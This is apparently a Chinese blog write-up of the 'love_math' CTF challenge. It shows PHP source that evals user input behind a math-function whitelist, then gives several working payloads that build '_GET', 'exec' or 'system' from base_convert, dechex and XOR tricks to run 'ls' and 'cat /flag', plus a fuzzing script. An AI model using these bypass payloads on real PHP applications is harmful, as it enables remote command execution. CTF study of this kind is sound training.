news 2026/1/22 13:38:53

[CTF]攻防世界:love_math

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[CTF]攻防世界:love_math

题目:[CTF]攻防世界:love_math

学习点:php的动态函数、默认函数名使用

<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){show_source(__FILE__);}else{//例子 c=20-1$content=$_GET['c'];if(strlen($content)>=80){die("太长了不会算");}$blacklist=[' ','\t','\r','\n','\'','"','`','\[','\]'];foreach($blacklistas$blackitem){if(preg_match('/'.$blackitem.'/m',$content)){die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','base_convert','bindec','ceil','cos','cosh','decbin','dechex','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/',$content,$used_funcs);foreach($used_funcs[0]as$func){if(!in_array($func,$whitelist)){die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');}

给出源代码,让你构造出方法来拿到flag,看到白名单和黑名单及字符80长度限制。


步骤

1、长度太短,考虑用**$_GET[x]**。

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

[ ] 方括号被过滤,可以用{}尖括号代替。但是GET必须大写。

其中源代码中白名单函数可以利用的应该是base_convert函数,可以进行进制转换。

2、接下来考虑构造出$_GET[x]

现有:dechex (十进制转16进制) 还需要一个 16进制转ascii (hex2bin
通过base_convert十进制到36进制转换,得到hex2bin

总的payload:http://61.147.171.35:65356/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls
解释:

  1. base_convert(37907361743,10,36) => “hex2bin”
  2. dechex(1598506324) => “5f474554” => hex2bin(5f474554) => _GET
  3. $pi=_GET;
  4. ($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

ascii 转 16

16进制转10


3、执行命令拿到flag


其实还有许多中方法,以下参考学习:

1、

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})base_convert(696468,10,36)=>"exec"$pi(8768397090111664438,10,30)=>"getallheaders"exec(getallheaders(){1})//操作xx和yy,中间用逗号隔开,echo都能输出echo xx,yy

2、

//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))//system('cat'.dechex(16)^asinh^pi) => system('cat *')base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

3、fuzz

<?php $payload=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','bindec','ceil','cos','cosh','decbin','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];for($k=1;$k<=sizeof($payload);$k++){for($i=0;$i<9;$i++){for($j=0;$j<=9;$j++){$exp=$payload[$k]^$i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo"<br />";}}}http://XXX/?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/18 18:12:17

智能脂肪秤PCBA开发设计方案开发公司

随着健康管理意识的普及&#xff0c;智能脂肪秤作为精准监测身体成分的智能终端&#xff0c;其核心的PCBA&#xff08;印刷电路板组件&#xff09;开发设计直接决定了产品的测量精度、稳定性与用户体验。在该领域&#xff0c;我司凭借多年深耕智能硬件PCBA开发的深厚积淀&#…

作者头像 李华
网站建设 2026/1/18 15:25:24

稳石氢能荣获高工金球奖“AEM膜材料创新引领奖”

2025年12月5日&#xff0c;稳石氢能凭借对AEM膜材料降解机理的研究与膜材料的创新突破&#xff0c;荣获2025高工氢电“AEM膜材料创新引领奖”。阴离子交换膜是AEM制氢设备的核心部件&#xff0c;在实际电解过程中&#xff0c;由于运行条件带来的AEM膜降解问题严重影响了设备寿命…

作者头像 李华
网站建设 2026/1/16 22:10:10

Llama-Factory与HuggingFace生态深度兼容,无缝衔接现有流程

Llama-Factory与HuggingFace生态深度兼容&#xff0c;无缝衔接现有流程 在大模型落地加速的今天&#xff0c;一个现实问题困扰着许多企业团队&#xff1a;明明有高质量的数据和明确的应用场景&#xff0c;却因为微调流程复杂、技术门槛高而迟迟无法推进项目。研究人员熟悉算法原…

作者头像 李华
网站建设 2026/1/21 0:18:58

云手机的存储空间可以灵活扩展吗?

云手机的存储空间通常可以灵活扩展&#xff0c;可通过升级存储套餐、多开实例等方式实现&#xff0c;许多云手机厂商提供了不同存储容量的套餐供用户选择&#xff0c;用户可通过 APP 或官网直接从低容量套餐升级至高容量套餐&#xff0c;按剩余时长补差价即可完成扩容&#xff…

作者头像 李华
网站建设 2026/1/22 2:23:57

云手机 一款多功能利器

云手机是基于 ARM 服务器虚拟化技术&#xff0c;在云端虚拟出的带有原生安卓操作系统的虚拟手机&#xff0c;堪称一款多功能利器&#xff0c;它具备多开应用、跨端协同等多种功能&#xff0c;可广泛应用于办公、娱乐等场景。传统手机受系统限制&#xff0c;同一应用通常只能安装…

作者头像 李华
网站建设 2026/1/18 4:59:18

文件IO的常识

文件狭义文件&#xff1a;保存在磁盘上的文件广义文件&#xff1a;操作系统管理资源的一直形式固态硬盘&#xff0c;机械硬盘&#xff0c;内存&#xff0c;寄存器固态硬盘&#xff1a;优势是容量大TB级别&#xff0c;存储的数据可以持久化&#xff0c;劣势是读写速度很慢内部结…

作者头像 李华